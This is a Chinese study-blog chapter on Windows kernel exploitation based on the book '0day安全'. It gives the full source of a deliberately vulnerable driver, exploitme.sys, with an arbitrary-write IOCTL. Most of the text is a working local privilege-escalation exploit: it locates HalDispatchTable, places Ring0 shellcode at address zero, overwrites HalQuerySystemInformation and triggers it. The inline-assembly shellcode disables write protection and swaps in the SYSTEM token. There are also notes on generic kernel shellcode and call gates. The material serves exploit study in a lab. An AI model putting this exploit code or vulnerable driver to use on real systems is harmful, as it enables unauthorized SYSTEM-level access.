0day安全 | Chapter 22 内核漏洞利用技术
启程
总有一天总有一年会发现 有人默默的陪在你的身边 也许 我不该在你的世界 当你收到情书 也代表我已经走远
接下来的内核实验可以和之前做过的一系列Linux Rootkit实验(Linux Rootkit 实验 0000 LKM 的基础编写&隐藏)结合起来,思考不同平台之间的异同,从而对内核漏洞有一个更全面的认识。
内核漏洞利用实验:exploitme.sys
基于上一章的helloworld,我们编写一个存在漏洞的内核驱动,并基于此来研究内核漏洞的利用。
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\ExploitMe"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(\
FILE_DEVICE_EXPLOIT_ME, 0x800, METHOD_NEITHER, FILE_WRITE_ACCESS)
PDEVICE_OBJECT g_DeviceObject;
// 驱动卸载函数
VOID DriverUnload(IN PDRIVER_OBJECT driverObject )
{
UNICODE_STRING symLinkName;
KdPrint(("DriverUnload: 88!\n"));
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
IoDeleteSymbolicLink(&symLinkName);
IoDeleteDevice( g_DeviceObject );
}
// 驱动派遣例程函数
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{
PIO_STACK_LOCATION pIrpStack;
PVOID Type3InputBuffer; // 用户态输入
PVOID UserBuffer; // 用户态输出
ULONG inputBufferLength;
ULONG outputBufferLength;
ULONG ioControlCode;
PIO_STATUS_BLOCK IoStatus;
NTSTATUS ntStatus = STATUS_SUCCESS;
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
UserBuffer = pIrp->UserBuffer;
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
IoStatus = &pIrp->IoStatus;
IoStatus->Status = STATUS_SUCCESS; // Assume success
IoStatus->Information = 0; // Assume nothing returned
switch(ioControlCode){
case IOCTL_EXPLOIT_ME:
if ( inputBufferLength >= 4 && outputBufferLength >= 4 ){
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
IoStatus->Information = sizeof(ULONG);
}
break;
}
IoStatus->Status = ntStatus;
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
return ntStatus;
}
// 驱动入口函数
NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath )
{
NTSTATUS ntStatus;
UNICODE_STRING devName;
UNICODE_STRING symLinkName;
int i = 0;
// 打印hello world
KdPrint(("DriverEntry: Exploit me driver demo!\n"));
// 创建设备
RtlInitUnicodeString(&devName,DEVICE_NAME);
ntStatus = IoCreateDevice( driverObject,
0,
&devName,
FILE_DEVICE_UNKNOWN,
0, TRUE,
&g_DeviceObject );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice(g_DeviceObject);
return ntStatus;
}
// 设置卸载函数
driverObject->DriverUnload = DriverUnload;
// 创建符号链接
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice( g_DeviceObject );
return ntStatus;
}
// 设置该驱动对象的派遣例程函数
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DrvDispatch;
}
return STATUS_SUCCESS;
}
sources和Makefile与上一章类似,不再赘述。build得到exploitme.sys
。
上述代码中DrvDispatch函数只处理了一个IoControlCode:IOCTL_EXPLOIT_ME
。做的处理也很简单,就是将Ring3输入缓冲区的第一个ULONG数据写入Ring3输出缓冲区的第一个ULONG位置处。输入、输出地址均由Ring3指定,但读写却是在Ring0完成。因此Ring3可以将输出缓冲区地址指定为内核高端地址(这种操作在以往的用户态漏洞中是无法完成的,但是这里的写入执行者是内核,内核本身具有至高无上的权限),这相当于“任意地址写任意数据”类型的内核漏洞。很多驱动程序漏洞最终都可以归纳为这种漏洞类型。
内核漏洞利用思路
在实战上述漏洞之前,我们先看一下内核漏洞的利用思路。
在上一章我们提到过内核漏洞可以分类如下:
- 远程拒绝服务
- 本地拒绝服务
- 远程任意代码执行
- 本地权限提升
其中拒绝服务的漏洞利用比较简单,而RCE和提权的漏洞利用较为复杂。如今,远程代码执行的内核漏洞已经很少,更多的是本地权限提升类型的漏洞。驱动程序编译器默认都开启GS,直接溢出比较困难。能够直接篡改内核数据或执行Ring0 Shellcode的漏洞更受青睐。
常见的内核漏洞利用思路如下:
而为了达到以上目的,需要漏洞能够导致以下缺陷之一:
- 任意地址写任意数据
- 任意地址写固定数据
- 固定地址写任意数据
这样来看,所学的东西慢慢地就会串联起来、融会贯通。
内核漏洞利用方法
上一节提到内核漏洞利用方法主要有两种:
- 篡改内核数据
- 执行Ring0 Shellcode
不推荐第一种,因为很多内核数据是不可以直接被改写的(CR0寄存器的WP位为1)。如果要改写,需要通过Ring0 Shellcode,将CR0寄存器的WP位置置0,然后改写,再将其置1。这一点在之前的Linux Rootkit 实验 0001 基于修改sys_call_table的系统调用挂钩中也有用到。这正是不同平台下内核exploit相同的地方,因为我们讨论的操作系统基于同一种CPU架构。
执行Ring0 Shellcode的主体必须是Ring0程序。这种利用方法是这样的:设法修改内核API导出表(如SSDT、HalDispatchTable等),将内核API函数指针修改为事先准备好的Shellcode地址,然后在本进程中调用这个内核API。最好选择劫持那些冷门内核API函数,否则一旦别的进程也调用这个API,由于Shellcode只保存在当前进程的Ring3内存地址中,别的进程无法访问到,将导致内存访问错误或内核崩溃。
我们对第一节的exploitme.sys漏洞利用的方法如下:在当前进程的0x0地址处申请内存,并存放Ring0 Shellcode代码,然后利用漏洞将HalDispatchTable表第一个函数HalQuerySystemInformation入口地址篡改为0,最后调用该函数的上层封装函数NtWueryIntervalProfile
,从而执行Ring0 Shellcode。其流程如下:
在这里介绍一下HalDispatchTable表(部分参考[Kernel Exploitation] 7: Arbitrary Overwrite (Win7 x86)和Driver write-what-where vulnerability):
该表是hal.dll导出的一个函数表。
hal.dll stands for Hardware Abstraction Layer, basically an interface to interacting with hardware without worrying about hardware-specific details. This allows Windows to be portable.
HalDispatchTable is a table containing function pointers to HAL routines.
HalDispatchTable的结构如下:
typedef struct {
ULONG Version;
pHalQuerySystemInformation HalQuerySystemInformation;
pHalSetSystemInformation HalSetSystemInformation;
pHalQueryBusSlots HalQueryBusSlots;
ULONG Spare1;
pHalExamineMBR HalExamineMBR;
#if 1 /* Not present in WDK 7600 */
pHalIoAssignDriveLetters HalIoAssignDriveLetters;
#endif
pHalIoReadPartitionTable HalIoReadPartitionTable;
pHalIoSetPartitionInformation HalIoSetPartitionInformation;
pHalIoWritePartitionTable HalIoWritePartitionTable;
pHalHandlerForBus HalReferenceHandlerForBus;
pHalReferenceBusHandler HalReferenceBusHandler;
pHalReferenceBusHandler HalDereferenceBusHandler;
pHalInitPnpDriver HalInitPnpDriver;
pHalInitPowerManagement HalInitPowerManagement;
pHalGetDmaAdapter HalGetDmaAdapter;
pHalGetInterruptTranslator HalGetInterruptTranslator;
pHalStartMirroring HalStartMirroring;
pHalEndMirroring HalEndMirroring;
pHalMirrorPhysicalMemory HalMirrorPhysicalMemory;
pHalEndOfBoot HalEndOfBoot;
pHalMirrorVerify HalMirrorVerify;
pHalGetAcpiTable HalGetCachedAcpiTable;
pHalSetPciErrorHandlerCallback HalSetPciErrorHandlerCallback;
#if defined(_IA64_)
pHalGetErrorCapList HalGetErrorCapList;
pHalInjectError HalInjectError;
#endif
} HAL_DISPATCH, *PHAL_DISPATCH;
可以看到,它的第二个成员就是HalQuerySystemInformation
函数指针,即我们要写入Shellcode地址的地方。
现在的问题在于,上层封装函数NtWueryIntervalProfile
与HalQuerySystemInformation
的关系是怎样的。参考ReactOS的源码我们可以看到:
NTSTATUS
NTAPI
NtQueryIntervalProfile(IN KPROFILE_SOURCE ProfileSource,
OUT PULONG Interval)
{
KPROCESSOR_MODE PreviousMode = ExGetPreviousMode();
ULONG ReturnInterval;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
// ...
/* Query the Interval */
ReturnInterval = (ULONG)KeQueryIntervalProfile(ProfileSource);
// ...
/* Return Success */
return Status;
}
参考KPROFILE_SOURCE可知,输入参数ProfileSource
是KPROFILE_SOURCE
枚举型变量。继续参考ReactOS的源码可以看到KeQueryIntervalProfile
函数的定义:
ULONG
NTAPI
KeQueryIntervalProfile(IN KPROFILE_SOURCE ProfileSource)
{
HAL_PROFILE_SOURCE_INFORMATION ProfileSourceInformation;
ULONG ReturnLength, Interval;
NTSTATUS Status;
/* Check what profile this is */
if (ProfileSource == ProfileTime)
{
/* Return the time interval */
Interval = KiProfileTimeInterval;
}
else if (ProfileSource == ProfileAlignmentFixup)
{
/* Return the alignment interval */
Interval = KiProfileAlignmentFixupInterval;
}
else
{
/* Request it from HAL */
ProfileSourceInformation.Source = ProfileSource;
Status = HalQuerySystemInformation(HalProfileSourceInformation,
sizeof(HAL_PROFILE_SOURCE_INFORMATION),
&ProfileSourceInformation,
&ReturnLength);
// ...
}
/* Return the interval we got */
return Interval;
}
可以发现,只有当输入参数ProfileSource
既非ProfileTime
也非ProfileAlignmentFixup
时HalQuerySystemInformation
才会被调用。
至此,我们明白了怎样触发Shellcode。但是Shellcode具体该做些什么呢?我们对之前的漏洞利用思路做进一步诠释:
- 提权到SYSTEM指修改当前进程的token为System进程token,这样当前进程便具备系统最高权限
- 恢复内核Hook/Inline Hook指通过恢复被各种安全软件hook掉的内核API来突破其防御体系
- 添加调用门/中断门/人物门/陷阱门是为了在后续代码中自由出入Ring0和Ring3
内核漏洞利用实战
万事俱备。现在我们来完成整个内核漏洞利用过程。具体的实践流程如下:
- 获取HalDispatchTable地址
x
- 编写Ring0 Shellcode
- 在0x0处申请内存,写入Ring0 Shellcode
- 利用漏洞向地址
x + 4
处写入0x0 - 调用
NtQueryIntervalProfile
,Ring0 Shellcode
建议在做实验之前先对虚拟机进行一次快照。
本实验的源文件及其依赖如下:
exploit.cpp
exploit.h
ntapi.h
ntdll.lib
后面仅仅在分步说明中引用exploit.cpp
中的源码片段。完整项目代码可以参考《0day安全》附带包。
1 获取HalDispatchTable地址
思路是先得到内核模块基址,将其与HalDispatchTable在内核模块中的偏移相加。
// 获取内核模块列表数据长度到ReturnLength
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);
if(NtStatus != STATUS_INFO_LENGTH_MISMATCH){
printf("NtQuerySystemInformation get len failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
// 申请内存
ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength);
if(ModuleInformation == NULL){
printf("MyAllocateMemory failed! Length=%.8X\n", ReturnLength);
goto ret;
}
// 获取内核模块列表数据
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);
if(NtStatus != STATUS_SUCCESS){
printf("NtQuerySystemInformation get info failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
// 保存内核第一个模块(即nt模块)基址和名称,并打印
ImageBase = (ULONG)(ModuleInformation->Module[0].Base);
RtlMoveMemory(
ImageName,
(PVOID)(ModuleInformation->Module[0].ImageName +
ModuleInformation->Module[0].PathLength),
KERNEL_NAME_LENGTH);
printf("ImageBase=0x%.8X ImageName=%s\n",ImageBase, ImageName);
// 获取内核模块名称字符串的Unicode字符串
RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);
// 加载内核模块到本进程空间
NtStatus = LdrLoadDll(
NULL, // DllPath
&DllCharacteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
if(NtStatus){
printf("LdrLoadDll failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
// 获取内核模块在本进程空间中导出名称HalDispatchTable的地址
RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable");
NtStatus = LdrGetProcedureAddress(
(PVOID)MappedBase, // DllHandle
&ProcedureName, // ProcedureName
0, // ProcedureNumber OPTIONAL
(PVOID*)&HalDispatchTable); // ProcedureAddress
if(NtStatus){
printf("LdrGetProcedureAddress failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
// 计算实际的HalDispatchTable内核地址
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase);
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase);
// HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址
xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));
// 打印HalDispatchTable内核地址和xHalQuerySystemInformation值
printf("HalDispatchTable=%p xHalQuerySystemInformation=%p\n",
HalDispatchTable,
xHalQuerySystemInformation);
2 编写Ring0 Shellcode
下面的代码可以被看作是一个Ring0 Shellcode的模板。写保护开关是固定套路,这一点我们在前面已经提到。[content]
部分是可替换的,我们在此放置不同功能的Shellcode。下面的例子中Shellcode功能是将当前进程的访问令牌替换为System进程的访问令牌,从而将当前进程的访问权限提升为SYSTEM权限。我们增设了一个全局变量g_isRing0ShellcodeCalled
,并在Shellcode执行成功后将其置1,是为了在后面的代码中检验Shellcode是否执行成功。
int g_isRing0ShellcodeCalled = 0;
// Ring0中执行的Shellcode
NTSTATUS Ring0ShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
// 关闭写保护
__asm
{
cli;
mov eax, cr0;
// mov g_uCr0,eax;
and eax,0xFFFEFFFF;
mov cr0, eax;
}
// [content] start
__asm
{
mov eax, 0xffdff124 // eax = KPCR (not 3G Mode)
mov eax, [eax] // eax = PETHREAD of current thread
mov esi, [eax + 0x220] // eax = PEPROCESS of the process, to which the current thread belongs
mov eax, esi
searchXp:
mov eax, [eax + 0x88]
sub eax, 0x88 // eax = PEPROCESS of the next process in process-list
mov edx, [eax + 0x84] // edx = PID
cmp edx, 0x4 // use PID to find the System process
jne searchXp
mov eax, [eax + 0xc8] // eax = token of SYSTEM process
mov [esi + 0xc8], eax // change token of current process
}
// [content] end
// 开启写保护
__asm
{
sti;
mov eax, cr0;
or eax,0x00010000;
mov cr0, eax;
}
g_isRing0ShellcodeCalled = 1;
return 0;
}
3 写入Ring0 Shellcode
// 在本进程空间申请0地址内存
ShellCodeAddress = (PVOID)sizeof(ULONG);
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
0, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE |
MEM_COMMIT |
MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
if(NtStatus){
printf("NtAllocateVirtualMemory failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p\n", ShellCodeAddress);
// 复制Ring0ShellCode到0地址内存中
RtlMoveMemory(
ShellCodeAddress,
(PVOID)Ring0ShellCode,
ShellCodeSize);
4 替换HalQuerySystemInformation指针
// 设备名称的Unicode字符串
RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");
// 打开ExploitMe设备
// ...
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
0, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
0, // CreateOptions
NULL, // EaBuffer OPTIONAL
0); // EaLength
if(NtStatus){
printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
// 利用漏洞将HalQuerySystemInformation函数地址改为0
InputData = 0;
NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_METHOD_NEITHER, // IoControlCode
&InputData, // InputBuffer
BUFFER_LENGTH, // InputBufferLength
xHalQuerySystemInformation, // OutputBuffer
BUFFER_LENGTH); // OutBufferLength
if(NtStatus){
printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
5 触发Ring0 Shellcode
// 触发漏洞
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
if(NtStatus){
printf("NtQueryIntervalProfile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
printf("NtQueryIntervalProfile succeed!\n");
if(g_isRing0ShellcodeCalled == 1)
printf("Shellcode executed.\n");
补充说明
在本节实验的过程中遇到一些问题,同时书上还有一些关于Ring0 Shellcode的拓展知识,一并列举如下。
问题:蓝屏
在搞定一切后,编译运行,蓝屏重启。经过搜索发现,这位同学也遇到了蓝屏问题。之前原书作者提到过蓝屏分析方法,这里刚好实践一下。
重启后,系统提示我
于是我用WinDbg打开dmp转储文件,执行!analyze -v
分析,主要的内容如下:
FAULTING_MODULE: 804d8000 nt
DEBUG_FLR_IMAGE_TIMESTAMP: 0
302d33b5
CURRENT_IRQL: ff
FAULTING_IP:
+77ec
0000002a ?? ???
CUSTOMER_CRASH_COUNT: 1
DEFAULT_BUCKET_ID: DRIVER_FAULT
BUGCHECK_STR: 0xD1
LAST_CONTROL_TRANSFER: from 00000000 to 0000002a
STACK_TEXT:
ee5becf4 00000000 ee5bed20 8065dea8 00000001 0x2a
STACK_COMMAND: kb
可以发现似乎是在执行Shellcode时出现了问题,因为0000002a
正是Shellcode中的地址。于是我回过头检查Shellcode,发现原来是mov edx, [eax + 0x84]
被我误打成了mov edx, [edx + 0x84]
。改正后,问题解决。
测试及问题:访问令牌在父子进程间的传递
在[求助]XP R0shellcode执行后不成功看到四年前有人提出token替换不成功的问题。下面是我对此的实验结果:
执行Shellcode前,可以看到cmd和exploit.exe均为Administrator权限:
第一次测试:exploit.exe没有创建子进程,但是我在代码最后添加了getchar()
使得进程不会立即退出。此时只有exploit.exe本身是SYSTEM权限:
第二次测试:修改代码,使exploit.exe通过system("cmd.exe")
创建子进程,此时可以看到它本身恢复成Administrator权限,但是它的子进程和子子进程(system()
函数本身算作一个cmd)均获得了SYSTEM权限,且之后手动输入cmd打开的shell也均为SYSTEM权限:
那么为何exploit.exe
会在短暂地升为SYSTEM权限后又降为Administrator权限?
拓展知识:通用内核Shellcode
为了提高兼容性,就要尽量避免使用硬编码的方式。由ring3 shellcode的编程经验可 知。使用API可以可靠的执行需要的操作。而API的名称则相对固定。
提权操作将system进程的Token赋予当前执行进程,我们需要做以下的操作:
1.找到system进程EPROCESS。ring0 可以直接访问EPROCESS结构,而ntoskrnl.exe导出 的PsInitialSystemProcess 是一个指向system进程的EPROCESS的指针。我们只要从 ntoskrnl.exe获取导出变量PsInitialSystemProcess即可获得system进程的EPROCESS。
2.获得当前进程的EPROCESS。ntoskrnl.exe提供了IoThreadToProcess(xp,2k3的 PsGetThreadProcess为同一函数)可以查找线程所属的进程,而当前执行线程可由KPCR+124h 获得,通过当前执行线程调用IoThreadToProcess就可以获得当前进程的EPROCESS。鉴于对 于不同版本的NT系统,KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h] 获取当前线程的ETHREAD指针。
3.替换当前进程的Token为system的Token。由于Token在EPROCESS中的偏移不固定,需 要先找出这个偏移值,然后再替换。ntoskrnl.exe导出PsReferencePrimaryToken函数包含 了从EPROCESS取Token的操作,我们需要把这个偏移量先从这个函数中挖出来。
如果需要靠shellcode自己获取API的地址,就需要shellcode加上获取API地址的代码和 获取ntoskrnl.exe内核基址的代码。由于PE文件格式是固定的,ring3级的API引擎在ring0 下同样适用,我们可以通过API名称的编码,利用API引擎获取对应函数地址。ntoskrnl.exe 内核基址可以通过获取其中的函数后搜索PE头获得。在系统的中断描述符表中,我们可以找 到不少ntoskrnl.exe中断处理函数地址。利用sidt指令,我们可以获取指向系统中断描述符 表的指针,进一步获得ntoskrnl.exe中的函数。IDT指针同样保存在KPCR结构中,更为简单的 方法是直接从0FFDFF038h (KPCR+38h)内存中读取。
拓展知识:其他Shellcode
- 恢复内核Hook/Inline Hook
以恢复SSDT Hook为例。思路是在Ring3中获得SSDT中原始函数地址,然后在Ring0中恢复。具体过程可以参考《0day安全》第二版第573页。
- 添加调用门/中断门/任务门/陷阱门
关于这四种门,可以参考
- [原创]rootkit ring3进ring0之门系列[一] – 调用门
- [原创]rootkit ring3进ring0之门系列[二] – 中断门
- [原创]rootkit ring3进ring0之门系列[三] – 任务门
- [原创]rootkit ring3进ring0之门系列[四] – 陷阱门
具体添加过程可以参考《0day安全》第二版第574页。
总结
这章的内容依赖太多的背景知识,这些知识是需要去积累的,否则就是只知其然,不知其所以然。其实学习很像DFS和BFS算法,最后都能抵达终点,只是过程不同。
在查找资料的过程中发现几篇不错的文章: